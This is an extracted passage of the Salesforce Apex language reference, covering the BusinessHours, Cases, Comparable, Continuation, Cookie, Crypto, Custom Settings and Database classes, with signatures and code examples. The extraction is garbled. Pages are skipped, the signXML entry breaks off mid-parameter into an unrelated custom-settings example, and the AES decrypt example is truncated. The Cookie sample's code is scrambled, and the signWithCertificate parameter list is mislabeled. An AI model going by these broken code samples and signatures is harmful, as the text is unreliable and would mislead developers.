BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];
// Create Datetime on May 28, 2013 at 1:06:08 AM in the local timezone.
Datetime targetTime = Datetime.newInstance(2013, 5, 28, 1, 6, 8);
// Find whether the time is within the default business hours
Boolean isWithin= BusinessHours.isWithin(bh.id, targetTime);

1960

Reference

Cases Class

nextStartDate(businessHoursId, targetDate)
Starting from the specified target date, returns the next date when business hours are open. If the specified target date falls within
business hours, this target date is returned.

Signature
public static Datetime nextStartDate(String businessHoursId, Datetime targetDate)

Parameters
businessHoursId

Type: String
The business hours ID.
targetDate

Type: Datetime
The date used as a start date to obtain the next date.

Return Value
Type: Datetime

Example
The following example finds the next date starting from the target date when business hours reopens. If the target date is within the
given business hours, the target date is returned. The returned time is in the local time zone.
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];
// Create Datetime on May 28, 2013 at 1:06:08 AM in the local timezone.
Datetime targetTime = Datetime.newInstance(2013, 5, 28, 1, 6, 8);
// Starting from the targetTime, find the next date when business hours reopens. Return
the target time.
// if it is within the business hours. The returned time will be in the local time zone
Datetime nextStart = BusinessHours.nextStartDate(bh.id, targetTime);

Cases Class
Use the Cases class to interact with case records.

Namespace
System

Cases Methods
The following are static methods for Cases.

1961

Reference

Comparable Interface

IN THIS SECTION:
getCaseIdFromEmailThreadId(emailThreadId)
Returns the case ID corresponding to the specified email thread ID.

getCaseIdFromEmailThreadId(emailThreadId)
Returns the case ID corresponding to the specified email thread ID.

Signature
public static ID getCaseIdFromEmailThreadId(String emailThreadId)

Parameters
emailThreadId

Type: String

Return Value
Type: ID

Usage
The emailThreadId argument should have the following format: _00Dxx1gEW._500xxYktg. Other formats, such as
ref:_00Dxx1gEW._500xxYktl:ref and [ref:_00Dxx1gEW._500xxYktl:ref], are invalid.

Comparable Interface
Adds sorting support for Lists that contain non-primitive types, that is, Lists of user-defined types.

Namespace
System

Usage
To add List sorting support for your Apex class, you must implement the Comparable interface with its compareTo method in
your class.
To implement the Comparable interface, you must first declare a class with the implements keyword as follows:
global class Employee implements Comparable {

Next, your class must provide an implementation for the following method:
global Integer compareTo(Object compareTo) {
// Your code here
}

The implemented method must be declared as global or public.

1962

Reference

Comparable Interface

IN THIS SECTION:
Comparable Methods
Comparable Example Implementation
SEE ALSO:
List Class

Comparable Methods
The following are methods for Comparable.
IN THIS SECTION:
compareTo(objectToCompareTo)
Returns an Integer value that is the result of the comparison.

compareTo(objectToCompareTo)
Returns an Integer value that is the result of the comparison.

Signature
public Integer compareTo(Object objectToCompareTo)

Parameters
objectToCompareTo

Type: Object

Return Value
Type: Integer

Usage
The implementation of this method should return the following values:
0 if this instance and objectToCompareTo are equal
> 0 if this instance is greater than objectToCompareTo
< 0 if this instance is less than objectToCompareTo

Comparable Example Implementation

This is an example implementation of the Comparable interface. The compareTo method in this example compares the employee
of this class instance with the employee passed in the argument. The method returns an Integer value based on the comparison of the
employee IDs.
global class Employee implements Comparable {

1963

Reference

Continuation Class

public Long id;

public String name;
public String phone;
// Constructor
public Employee(Long i, String n, String p) {
id = i;
name = n;
phone = p;
}
// Implement the compareTo() method
global Integer compareTo(Object compareTo) {
Employee compareToEmp = (Employee)compareTo;
if (id == compareToEmp.id) return 0;
if (id > compareToEmp.id) return 1;
return -1;
}
}

This example tests the sort order of a list of Employee objects.

@isTest
private class EmployeeSortingTest {
static testmethod void test1() {
List<Employee> empList = new List<Employee>();
empList.add(new Employee(101,'Joe Smith', '4155551212'));
empList.add(new Employee(101,'J. Smith', '4155551212'));
empList.add(new Employee(25,'Caragh Smith', '4155551000'));
empList.add(new Employee(105,'Mario Ruiz', '4155551099'));
// Sort using the custom compareTo() method
empList.sort();
// Write list contents to the debug log
System.debug(empList);
// Verify list sort order.
System.assertEquals('Caragh Smith', empList[0].Name);
System.assertEquals('Joe Smith', empList[1].Name);
System.assertEquals('J. Smith', empList[2].Name);
System.assertEquals('Mario Ruiz', empList[3].Name);
}
}

Continuation Class
Use the Continuation class to make callouts asynchronously to a SOAP or REST Web service.

Namespace
System

1964

Reference

Continuation Class

Example
For a code example, see Make Long-Running Callouts from a Visualforce Page.
IN THIS SECTION:
Continuation Constructors
Continuation Properties
Continuation Methods

Continuation Constructors
The following are constructors for Continuation.
IN THIS SECTION:
Continuation(timeout)
Creates an instance of the Continuation class by using the specified timeout in seconds. The timeout limit is 120 seconds
seconds.

Continuation(timeout)
Creates an instance of the Continuation class by using the specified timeout in seconds. The timeout limit is 120 seconds seconds.

Signature
public Continuation(Integer timeout)

Parameters
timeout

Type: Integer
The timeout for this continuation in seconds.

Continuation Properties
The following are properties for Continuation.
IN THIS SECTION:
continuationMethod
The name of the callback method that is called after the callout response returns.
timeout
The timeout of the continuation in seconds. Limit: 120 seconds seconds.
state
Data that is stored in this continuation and that can be retrieved after the callout is finished and the callback method is invoked.

1965

Reference

Continuation Class

continuationMethod
The name of the callback method that is called after the callout response returns.

Signature
public String continuationMethod {get; set;}

Property Value
Type: String

Usage
Note: If the continuationMethod property is not set for a Continuation, the same action method that made the asynchronous
callout is called again when the callout response returns.

timeout
The timeout of the continuation in seconds. Limit: 120 seconds seconds.

Signature
public Integer timeout {get; set;}

Property Value
Type: Integer

state
Data that is stored in this continuation and that can be retrieved after the callout is finished and the callback method is invoked.

Signature
public Object state {get; set;}

Property Value
Type: Object

Example
This example shows how to save state information for a continuation in a controller.
// Declare inner class to hold state info
private class StateInfo {
String msg { get; set; }
List<String> urls { get; set; }
StateInfo(String msg, List<String> urls) {
this.msg = msg;
this.urls = urls;

1966

Reference

Continuation Class

}
}
// Then in the action method, set state for the continuation
continuationInstance.state = new StateInfo('Some state data', urls);

Continuation Methods
The following are methods for Continuation.
IN THIS SECTION:
addHttpRequest(request)
Adds the HTTP request for the callout that is associated with this continuation.
getRequests()
Returns all labels and requests that are associated with this continuation as key-value pairs.
getResponse(requestLabel)
Returns the response for the request that corresponds to the specified label.

addHttpRequest(request)
Adds the HTTP request for the callout that is associated with this continuation.

Signature
public String addHttpRequest(System.HttpRequest request)

Parameters
request

Type: HttpRequest
The HTTP request to be sent to the external service by this continuation.

Return Value
Type: String
A unique label that identifies the HTTP request that is associated with this continuation. This label is used in the map that getRequests()
returns to identify individual requests in a continuation.

Usage
You can add up tothree requests to a continuation.
Note: The timeout that is set in each passed-in request is ignored. Only the global timeout limit of 120 seconds applies for a
continuation.

getRequests()
Returns all labels and requests that are associated with this continuation as key-value pairs.

1967

Reference

Cookie Class

Signature
public Map<String,System.HttpRequest> getRequests()

Return Value
Type: Map<String,HttpRequest>
A map of all requests that are associated with this continuation. The map key is the request label, and the map value is the corresponding
HTTP request.

getResponse(requestLabel)
Returns the response for the request that corresponds to the specified label.

Signature
public static HttpResponse getResponse(String requestLabel)

Parameters
requestLabel

Type: String
The request label to get the response for.

Return Value
Type: HttpResponse

Usage
The status code is returned in the HttpResponse object and can be obtained by calling getStatusCode() on the response. A status
code of 200 indicates that the request was successful. Other status code values indicate the type of problem that was encountered.
Sample of Error Status Codes
When a problem occurs with the response, some possible status code values are:
2000: The timeout was reached, and the server didnt get a chance to respond.
2001: There was a connection failure.
2002: Exceptions occurred.
2003: The response hasnt arrived (which also means that the Apex asynchronous callout framework hasnt resumed).
2004: The response size is too large (greater than 1 MB).

Cookie Class
The Cookie class lets you access cookies for your Force.com site using Apex.

Namespace
System

1968

Reference

Cookie Class

Usage
Use the setCookies method of the PageReference Class to attach cookies to a page.
Important:
Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their
hexadecimal representation.
The setCookies method adds the prefix apex__ to the cookie names.
Setting a cookie's value to null sends a cookie with an empty string value instead of setting an expired attribute.
After you create a cookie, the properties of the cookie can't be changed.
Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie
value to generate dynamic content, you should disable page caching. For more information, see Caching Force.com Sites
Pages in the Salesforce online help.
Consider the following limitations when using the Cookie class:
The Cookie class can only be accessed using Apex that is saved using the Salesforce API version 19 and above.
The maximum number of cookies that can be set per Force.com domain depends on your browser. Newer browsers have higher
limits than older ones.
Cookies must be less than 4K, including name and attributes.
For more information on sites, see Force.com Sites Overview in the Salesforce online help.

Example
The following example creates a class, CookieController, which is used with a Visualforce page (see markup below) to update
a counter each time a user displays a page. The number of times a user goes to the page is stored in a cookie.
// A Visualforce controller class that creates a cookie
// used to keep track of how often a user displays a page
public class CookieController {
public CookieController() {
Cookie counter = ApexPages.currentPage().getCookies().get('counter');
//
//
//
if

If this is the first time the user is accessing the page,

create a new cookie with name 'counter', an initial value of '1',
path 'null', maxAge '-1', and isSecure 'false'.
(counter == null) {
counter = new Cookie('counter','1',null,-1,false);
} else {
// If this isn't the first time the user is accessing the page
// create a new cookie, incrementing the value of the original count by 1
Integer count = Integer.valueOf(counter.getValue());
counter = new Cookie('counter', String.valueOf(count+1),null,-1,false);
}
// Set the new cookie for the page
ApexPages.currentPage().setCookies(new Cookie[]{counter});
}
// This method is used by the Visualforce action {!count} to display the current

1969

Reference

Cookie Class

// value of the number of times a user had displayed a page.

// This value is stored in the cookie.
public String getCount() {
Cookie counter = ApexPages.currentPage().getCookies().get('counter');
if(counter == null) {
return '0';
}
return counter.getValue();
}
}
// Test class for the Visualforce controller
@isTest
private class CookieControllerTest {
// Test method for verifying the positive test case
static testMethod void testCounter() {
//first page view
CookieController controller = new CookieController();
System.assert(controller.getCount() == '1');
//second page view
controller = new CookieController();
System.assert(controller.getCount() == '2');
}
}

The following is the Visualforce page that uses the CookieController Apex controller above. The action {!count} calls the
getCount method in the controller above.
<apex:page controller="CookieController">
You have seen this page {!count} times
</apex:page>

IN THIS SECTION:
Cookie Constructors
Cookie Methods

Cookie Constructors
The following are constructors for Cookie.
IN THIS SECTION:
Cookie(name, value, path, maxAge, isSecure)
Creates a new instance of the Cookie class using the specified name, value, path, age, and the secure setting.

Cookie(name, value, path, maxAge, isSecure)

Creates a new instance of the Cookie class using the specified name, value, path, age, and the secure setting.

1970

Reference

Cookie Class

Signature
public Cookie(String name, String value, String path, Integer maxAge, Boolean isSecure)

Parameters
name

Type: String
The cookie name. It cant be null.
value

Type: String
The cookie data, such as session ID.
path

Type: String
The path from where you can retrieve the cookie.
maxAge

Type: Integer
A number representing how long a cookie is valid for in seconds. If set to less than zero, a session cookie is issued. If set to zero, the
cookie is deleted.
isSecure

Type: Boolean
A value indicating whether the cookie can only be accessed through HTTPS (true) or not (false).

Cookie Methods
The following are methods for Cookie. All are instance methods.
IN THIS SECTION:
getDomain()
Returns the name of the server making the request.
getMaxAge()
Returns a number representing how long the cookie is valid for, in seconds. If set to < 0, a session cookie is issued. If set to 0, the
cookie is deleted.
getName()
Returns the name of the cookie. Can't be null.
getPath()
Returns the path from which you can retrieve the cookie. If null or blank, the location is set to root, or /.
getValue()
Returns the data captured in the cookie, such as Session ID.
isSecure()
Returns true if the cookie can only be accessed through HTTPS, otherwise returns false.

1971

Reference

Cookie Class

getDomain()
Returns the name of the server making the request.

Signature
public String getDomain()

Return Value
Type: String

getMaxAge()
Returns a number representing how long the cookie is valid for, in seconds. If set to < 0, a session cookie is issued. If set to 0, the cookie
is deleted.

Signature
public Integer getMaxAge()

Return Value
Type: Integer

getName()
Returns the name of the cookie. Can't be null.

Signature
public String getName()

Return Value
Type: String

getPath()
Returns the path from which you can retrieve the cookie. If null or blank, the location is set to root, or /.

Signature
public String getPath()

Return Value
Type: String

1972

Reference

Crypto Class

getValue()
Returns the data captured in the cookie, such as Session ID.

Signature
public String getValue()

Return Value
Type: String

isSecure()
Returns true if the cookie can only be accessed through HTTPS, otherwise returns false.

Signature
public Boolean isSecure()

Return Value
Type: Boolean

Crypto Class
Provides methods for creating digests, message authentication codes, and signatures, as well as encrypting and decrypting information.

Namespace
System

Usage
The methods in the Crypto class can be used for securing content in Force.com, or for integrating with external services such as
Google or Amazon WebServices (AWS).

Encrypt and Decrypt Exceptions

The following exceptions can be thrown for these methods:
decrypt
encrypt
decryptWithManagedIV
encryptWithManagedIV

1973

Reference

Crypto Class

Exception

Message

Description

InvalidParameterValue

Unable to parse initialization vector from

encrypted data.

Thrown if you're using managed

initialization vectors, and the cipher text is
less than 16 bytes.

InvalidParameterValue

Invalid algorithm algoName. Must be

AES128, AES192, or AES256.

Thrown if the algorithm name isn't one of

the valid values.

InvalidParameterValue

Invalid private key. Must be size bytes.

Thrown if size of the private key doesn't

match the specified algorithm.

InvalidParameterValue

Invalid initialization vector. Must be 16 bytes. Thrown if the initialization vector isn't 16
bytes.

InvalidParameterValue

Invalid data. Input data is size bytes,

which exceeds the limit of 1048576 bytes.

Thrown if the data is greater than 1 MB. For

decryption, 1048608 bytes are allowed for
the initialization vector header, plus any
additional padding the encryption added
to align to block size.

NullPointerException

Argument cannot be null.

Thrown if one of the required method

arguments is null.

SecurityException

Given final block not properly padded.

Thrown if the data isn't properly

block-aligned or similar issues occur during
encryption or decryption.

SecurityException

Message Varies

Thrown if something goes wrong during

either encryption or decryption.

Crypto Methods
The following are methods for Crypto. All methods are static.
IN THIS SECTION:
decrypt(algorithmName, privateKey, initializationVector, cipherText)
Decrypts the Blob cipherText using the specified algorithm, private key, and initialization vector. Use this method to decrypt
blobs encrypted using a third party application or the encrypt method.
decryptWithManagedIV(algorithmName, privateKey, IVAndCipherText)
Decrypts the Blob IVAndCipherText using the specified algorithm and private key. Use this method to decrypt blobs encrypted
using a third party application or the encryptWithManagedIV method.
encrypt(algorithmName, privateKey, initializationVector, clearText)
Encrypts the Blob clearText using the specified algorithm, private key and initialization vector. Use this method when you want
to specify your own initialization vector.
encryptWithManagedIV(algorithmName, privateKey, clearText)
Encrypts the Blob clearText using the specified algorithm and private key. Use this method when you want Salesforce to
generate the initialization vector for you.

1974

Reference

Crypto Class

generateAesKey(size)
Generates an Advanced Encryption Standard (AES) key.
generateDigest(algorithmName, input)
Computes a secure, one-way hash digest based on the supplied input string and algorithm name.
generateMac(algorithmName, input, privateKey)
Computes a message authentication code (MAC) for the input string, using the private key and the specified algorithm.
getRandomInteger()
Returns a random Integer.
getRandomLong()
Returns a random Long.
sign(algorithmName, input, privateKey)
Computes a unique digital signature for the input string, using the specified algorithm and the supplied private key.
signWithCertificate(algorithmName, input, certDevName)
Computes a unique digital signature for the input string, using the specified algorithm and the supplied certificate and key pair.
signXML(algorithmName, node, idAttributeName, certDevName)
Envelops the signature into an XML document.
signXML(algorithmName, node, idAttributeName, certDevName, refChild)
Inserts the signature envelope before the specified child node.

decrypt(algorithmName, privateKey, initializationVector, cipherText)

Decrypts the Blob cipherText using the specified algorithm, private key, and initialization vector. Use this method to decrypt blobs
encrypted using a third party application or the encrypt method.

Signature
public static Blob decrypt(String algorithmName, Blob privateKey, Blob
initializationVector, Blob cipherText)

Parameters
algorithmName

Type: String
privateKey

Type: Blob
initializationVector

Type: Blob
cipherText

Type: Blob

Return Value
Type: Blob

1975

Reference

Crypto Class

Usage
Valid values for algorithmName are:
AES128
AES192
AES256
These are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining
(CBC) and PKCS5 padding.
The length of privateKey must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16, 24, or 32 bytes, respectively.
You can use a third-party application or the generateAesKey method to generate this key for you.
The initialization vector must be 128 bits (16 bytes.)

Example
Blob
Blob
Blob
Blob

exampleIv = Blob.valueOf('Example of IV123');

Reference

Crypto Class

Usage
The initialization vector is stored as the first 128 bits (16 bytes) of the encrypted Blob. Use either third-party applications or the
decryptWithManagedIV method to decrypt blobs encrypted with this method. Use the encrypt method if you want to
generate your own initialization vector.
Valid values for algorithmName are:
AES128
AES192
AES256
These are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining
(CBC) and PKCS5 padding.
The length of privateKey must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16, 24, or 32 bytes, respectively.
You can use a third-party application or the generateAesKey method to generate this key for you.

generateAesKey(size)
Generates an Advanced Encryption Standard (AES) key.

Signature
public static Blob generateAesKey(Integer size)

Parameters
size

Type: Integer
The key's size in bits. Valid values are:
128
192
256

Return Value
Type: Blob

1979

Reference

Crypto Class

Example
Blob key = Crypto.generateAesKey(128);

generateDigest(algorithmName, input)
Computes a secure, one-way hash digest based on the supplied input string and algorithm name.

Signature
public static Blob generateDigest(String algorithmName, Blob input)

Parameters
algorithmName

Type: String
Valid values for algorithmName are:
MD5
SHA1
SHA-256
SHA-512
input

Type: Blob

Return Value
Type: Blob

Example
Blob targetBlob = Blob.valueOf('ExampleMD5String');
Blob hash = Crypto.generateDigest('MD5', targetBlob);

generateMac(algorithmName, input, privateKey)

Computes a message authentication code (MAC) for the input string, using the private key and the specified algorithm.

Signature
public static Blob generateMac(String algorithmName, Blob input, Blob privateKey)

Parameters
algorithmName

Type: String
The valid values for algorithmName are:
hmacMD5
hmacSHA1

1980

Reference

Crypto Class

hmacSHA256
hmacSHA512
input

Type: Blob
privateKey

Type: Blob
The value of privateKey does not need to be in decoded form. The value cannot exceed 4 KB.

Return Value
Type: Blob

Example
String salt = String.valueOf(Crypto.getRandomInteger());
String key = 'key';
Blob data = crypto.generateMac('HmacSHA256',
Blob.valueOf(salt), Blob.valueOf(key));

getRandomInteger()
Returns a random Integer.

Signature
public static Integer getRandomInteger()

Return Value
Type: Integer

Example
Integer randomInt = Crypto.getRandomInteger();

getRandomLong()
Returns a random Long.

Signature
public static Long getRandomLong()

Return Value
Type: Long

1981

Reference

Crypto Class

Example
Long randomLong = Crypto.getRandomLong();

sign(algorithmName, input, privateKey)

Computes a unique digital signature for the input string, using the specified algorithm and the supplied private key.

Signature
public static Blob sign(String algorithmName, Blob input, Blob privateKey)

Parameters
algorithmName

Type: String
The algorithm name. The valid values for algorithmName are RSA-SHA1, RSA-SHA256, or RSA.
RSA-SHA1 is an RSA signature (with an asymmetric key pair) of a SHA1 hash.
RSA-SHA256 is an RSA signature of a SHA256 hash.
RSA is the same as RSA-SHA1.
input

Type: Blob
The data to sign.
privateKey

Type: Blob
The value of privateKey must be decoded using the EncodingUtilbase64Decode method, and should be in RSA's
PKCS #8 (1.2) Private-Key Information Syntax Standard form. The value cannot exceed 4 KB.

Return Value
Type: Blob

Example
The following snippet shows how to call the sign method.
String algorithmName = 'RSA';
String key = '';
Blob privateKey = EncodingUtil.base64Decode(key);
Blob input = Blob.valueOf('12345qwerty');
Crypto.sign(algorithmName, input, privateKey);

signWithCertificate(algorithmName, input, certDevName)

Computes a unique digital signature for the input string, using the specified algorithm and the supplied certificate and key pair.

1982

Reference

Crypto Class

Signature
public static Blob signWithCertificate(String algorithmName, Blob input, String
certDevName)

Parameters
algorithmName

Type: Blob
The data to sign.
certDevName

Type: String
The Unique Name for a certificate stored in the Salesforce organizations Certificate and Key Management page to use for signing.
To access the Certificate and Key Management page from Setup, enter Certificate and Key Management in the Quick
Find box, then select Certificate and Key Management.

Return Value
Type: Blob

Example
The following snippet is an example of the method for signing the content referenced by data.
Blob data = Blob.valueOf('12345qwerty');
System.Crypto.signWithCertificate('RSA-SHA256', data, 'signingCert');

signXML(algorithmName, node, idAttributeName, certDevName)

Envelops the signature into an XML document.

Signature
public Void signXML(String algorithmName, Dom.XmlNode node, String idAttributeName,
String certDevName)

Parameters
algorithmName

Type: String
The algorithm name. Valid names are RSA-SHA1, RSA-SHA256, or RSA.

1983

Reference

Crypto Class

RSA-SHA1 is an RSA signature (with an asymmetric key pair) of an SHA1 hash.

RSA-SHA256 is an RSA signature of an SHA256 hash.
RSA is the same as RSA-SHA1.
node

Type: Dom.XmlNode
The XML node to sign and insert the signature into.
idAttributeName

If Robert passes his user ID specified by RobertId to getInstance, the results are the same. This is because the lowest level of
data in the custom setting is specified at the user level.
Hierarchy__c CS = Hierarchy__c.getInstance(RobertId);
System.Assert(CS.OverrideMe__c == 'Fluffy');
System.assert(CS.DontOverrideMe__c == 'World');

If Robert passes the System Administrator profile ID specified by SysAdminID to getInstance, the result is different. The data
specified for the profile is returned:
Hierarchy__c CS = Hierarchy__c.getInstance(SysAdminID);
System.Assert(CS.OverrideMe__c == 'Goodbye');
System.assert(CS.DontOverrideMe__c == 'World');

When Robert tries to return the data set for the organization using getOrgDefaults, the result is:
Hierarchy__c CS = Hierarchy__c.getOrgDefaults();
System.Assert(CS.OverrideMe__c == 'Hello');
System.assert(CS.DontOverrideMe__c == 'World');

By using the getValues method, Robert can get the hierarchy custom setting values specific to his user and profile settings. For
example, if Robert passes his user ID RobertId to getValues, the result is:
Hierarchy__c CS = Hierarchy__c.getValues(RobertId);
System.Assert(CS.OverrideMe__c == 'Fluffy');
// Note how this value is null, because you are returning
// data specific for the user
System.assert(CS.DontOverrideMe__c == null);

If Robert passes his System Administrator profile ID SysAdminID to getValues, the result is:
Hierarchy__c CS = Hierarchy__c.getValues(SysAdminID);
System.Assert(CS.OverrideMe__c == 'Goodbye');
// Note how this value is null, because you are returning
// data specific for the profile
System.assert(CS.DontOverrideMe__c == null);

public String state { get; set; }

public String country {get; set;}
// Generates country dropdown from country settings
public List<SelectOption> getCountriesSelectList() {
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('', '-- Select One --'));
// Find all the countries in the custom setting
Map<String, Foundation_Countries__c> countries = Foundation_Countries__c.getAll();

// Sort them by name

List<String> countryNames = new List<String>();
countryNames.addAll(countries.keySet());
countryNames.sort();
// Create the Select Options.
for (String countryName : countryNames) {
Foundation_Countries__c country = countries.get(countryName);
options.add(new SelectOption(country.country_code__c, country.Name));
}
return options;
}
// To generate the states picklist based on the country selected by user.
public List<SelectOption> getStatesSelectList() {
List<SelectOption> options = new List<SelectOption>();
// Find all the states we have in custom settings.
Map<String, Foundation_States__c> allstates = Foundation_States__c.getAll();
// Filter states that belong to the selected country
Map<String, Foundation_States__c> states = new Map<String, Foundation_States__c>();
for(Foundation_States__c state : allstates.values()) {
if (state.country_code__c == this.country) {
states.put(state.name, state);
}
}
// Sort the states based on their names
List<String> stateNames = new List<String>();
stateNames.addAll(states.keySet());
stateNames.sort();
// Generate the Select Options based on the final sorted list
for (String stateName : stateNames) {
Foundation_States__c state = states.get(stateName);
options.add(new SelectOption(state.state_code__c, state.state_name__c));
}
// If no states are found, just say not required in the dropdown.
if (options.size() > 0) {
options.add(0, new SelectOption('', '-- Select One --'));

1990

Reference

Custom Settings Methods

} else {
options.add(new SelectOption('', 'Not Required'));
}
return options;
}
}

IN THIS SECTION:
List Custom Setting Methods
Hierarchy Custom Setting Methods
SEE ALSO:
Custom Settings

List Custom Setting Methods

The following are instance methods for list custom settings.
IN THIS SECTION:
getAll()
Returns a map of the data sets defined for the custom setting.
getInstance(dataSetName)
Returns the custom setting data set record for the specified data set name. This method returns the exact same object as
getValues(dataSetName).
getValues(dataSetName)
Returns the custom setting data set record for the specified data set name. This method returns the exact same object as
getInstance(dataSetName).

getAll()
Returns a map of the data sets defined for the custom setting.

Signature
public Map<String, CustomSetting__c> getAll()

Return Value
Type: Map<String, CustomSetting__c>

Usage
If no data set is defined, this method returns an empty map.
Note: For Apex saved using SalesforceAPI version 20.0 or earlier, the data set names, which are the keys in the returned map, are
converted to lower case. For Apex saved using SalesforceAPI version 21.0 and later, the case of the data set names in the returned
map keys is not changed and the original case is preserved.

1991

Reference

Custom Settings Methods

getInstance(dataSetName)
Returns the custom setting data set record for the specified data set name. This method returns the exact same object as
getValues(dataSetName).

Signature
public CustomSetting__c getInstance(String dataSetName)

Parameters
dataSetName

Type: String

Return Value
Type: CustomSetting__c

Usage
If no custom setting data is defined for the organization, this method returns an empty custom setting object.
Note: For Apex saved using SalesforceAPI version 21.0 or earlier, this method returns null if no custom setting data is defined
for the organization.

getValues(userId)
Returns the custom setting data set record for the specified user ID.

Signature
public CustomSetting__c getValues(ID userId)

Parameters
userId

Type: ID

Return Value
Type: CustomSetting__c

1995

Reference

Database Class

Usage
Use this if you only want the subset of custom setting data that has been defined at the user level. For example, suppose you have a
custom setting field that has been assigned a value of "foo" at the organizational level, but has no value assigned at the user or profile
level. Using getValues(UserId) returns null for this custom setting field.

getValues(profileId)
Returns the custom setting data set for the specified profile ID.

Signature
public CustomSetting__c getValues(ID profileId)

Parameters
profileId

Type: ID

Return Value
Type: CustomSetting__c

Usage
Use this if you only want the subset of custom setting data that has been defined at the profile level. For example, suppose you have a
custom setting field that has been assigned a value of "foo" at the organizational level, but has no value assigned at the user or profile
level. Using getValues(ProfileId) returns null for this custom setting field.

Database Class
Contains methods for creating and manipulating data.

Namespace
System

Usage
Some Database methods also exist as DML statements.

Database Methods
The following are methods for Database. All methods are static.
IN THIS SECTION:
convertLead(leadToConvert, allOrNone)
Converts a lead into an account and contact, as well as (optionally) an opportunity.

1996

Reference

Database Class

convertLead(leadsToConvert, allOrNone)
Converts a list of LeadConvert objects into accounts and contacts, as well as (optionally) opportunities.
countQuery(query)
Returns the number of records that a dynamic SOQL query would return when executed.
delete(recordToDelete, allOrNone)
Deletes an existing sObject record, such as an individual account or contact, from your organization's data.
delete(recordsToDelete, allOrNone)
Deletes a list of existing sObject records, such as individual accounts or contacts, from your organizations data.
deleteAsync(sobjects, callback)
Initiates requests to delete the external data that corresponds to the specified external object records. The request is executed
asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated
external data source. Allows referencing a callback class whose processDelete method is called for each record after deletion.
deleteAsync(sobject, callback)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed
asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated
external data source. Allows referencing a callback class whose processDelete method is called after deletion.
deleteAsync(sobjects)
Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed
asynchronously, as background operations, and are sent to the external systems that are defined by the external objects' associated
external data sources.
deleteAsync(sobject)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed
asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated
external data source.
deleteImmediate(sobjects)
Initiates requests to delete the external data that corresponds to the specified external object records. The requests are executed
synchronously and are sent to the external systems that are defined by the external objects' associated external data sources. If the
Apex transaction contains pending changes, the synchronous operations can't be completed and throw exceptions.
deleteImmediate(sobject)
Initiates a request to delete the external data that corresponds to the specified external object record. The request is executed
synchronously and is sent to the external system that's defined by the external object's associated external data source. If the Apex
transaction contains pending changes, the synchronous operation can't be completed and throws an exception.
delete(recordID, allOrNone)
Deletes existing sObject records, such as individual accounts or contacts, from your organizations data.
delete(recordIDs, allOrNone)
Deletes a list of existing sObject records, such as individual accounts or contacts, from your organizations data.
emptyRecycleBin([]
Permanently deletes the specified records from the Recycle Bin.
emptyRecycleBin(obj)
Permanently deletes the specified sObject from the Recycle Bin.
emptyRecycleBin(listOfSObjects)
Permanently deletes the specified sObjects from the Recycle Bin.

1997

Reference

Database Class

executeBatch(batchClassObject)
Submits a batch Apex job for execution corresponding to the specified class.
executeBatch(batchClassObject, scope)
Submits a batch Apex job for execution using the the specified class and scope.
getAsyncDeleteResult(deleteResult)
Retrieves the status of an asynchronous delete operation thats identified by a Database.DeleteResult object.
getAsyncDeleteResult(asyncLocator)
Retrieves the result of an asynchronous delete operation based on the results unique identifier.
getAsyncLocator(result)
Returns the asyncLocator associated with the result of a specified asynchronous insert, update, or delete operation.
getAsyncSaveResult(saveResult)
Returns the status of an asynchronous insert or update operation thats identified by a Database.SaveResult object.
getAsyncSaveResult(asyncLocator)
Returns the status of an asynchronous insert or update operation based on the unique identifier associated with each modification.
getDeleted(sObjectType, startDate, endDate)
Returns the list of individual records that have been deleted for an sObject type within the specified start and end dates and times
and that are still in the Recycle Bin.
getQueryLocator([]
Creates a QueryLocator object used in batch Apex or Visualforce.
getQueryLocator(query)
Creates a QueryLocator object used in batch Apex or Visualforce.
getUpdated(sobjectType, startDate, endDate)
Returns the list of individual records that have been updated for an sObject type within the specified start and end dates and times.
insert(recordToInsert, allOrNone)
Adds an sObject, such as an individual account or contact, to your organization's data.
insert(recordsToInsert, allOrNone)
Adds one or more sObjects, such as individual accounts or contacts, to your organizations data.
insert(recordToInsert, dmlOptions)
Adds an sObject, such as an individual account or contact, to your organization's data.
insert(recordToInsert, dmlOptions)
Adds an sObject, such as an individual account or contact, to your organization's data.
insertAsync(sobjects, callback)
Initiates requests to add external object data to the relevant external systems. The requests are executed asynchronously, as background
operations, and are sent to the external systems that are defined by the external objects' associated external data sources. Allows
referencing a callback class whose processSave method is called for each record after the remote operations are completed.
insertAsync(sobject, callback)
Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background
operation, and is sent to the external system that's defined by the external object's associated external data source. Allows referencing
a callback class whose processSave method is called after the remote operation is completed.

1998

Reference

Database Class

insertAsync(sobjects)
Initiates requests to add external object data to the relevant external systems. The requests are executed asynchronously, as background
operations, and are sent to the external systems that are defined by the external objects' associated external data sources.
insertAsync(sobject)
Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background
operation, and is sent to the external system that's defined by the external object's associated external data source.
insertImmediate(sobjects)
Initiates requests to add external object data to the relevant external systems. The requests are executed synchronously and are sent
to the external systems that are defined by the external objects' associated external data sources. If the Apex transaction contains
pending changes, the synchronous operations can't be completed and throw exceptions.
insertImmediate(sobject)
Initiates a request to add external object data to the relevant external system. The request is executed synchronously and is sent to
the external system that's defined by the external object's associated external data source. If the Apex transaction contains pending
changes, the synchronous operation can't be completed and throws an exception.
merge(masterRecord, duplicateId)
Merges the specified duplicate record into the master sObject record of the same type, deleting the duplicate, and reparenting any
related records. Merges only accounts, contacts, or leads.
merge(masterRecord, duplicateRecord)
Merges the specified duplicate sObject record into the master sObject of the same type, deleting the duplicate, and reparenting any
related records.
merge(masterRecord, duplicateIds)
Merges up to two records of the same sObject type into the master sObject record, deleting the others, and reparenting any related
records.
merge(masterRecord, duplicateRecords)
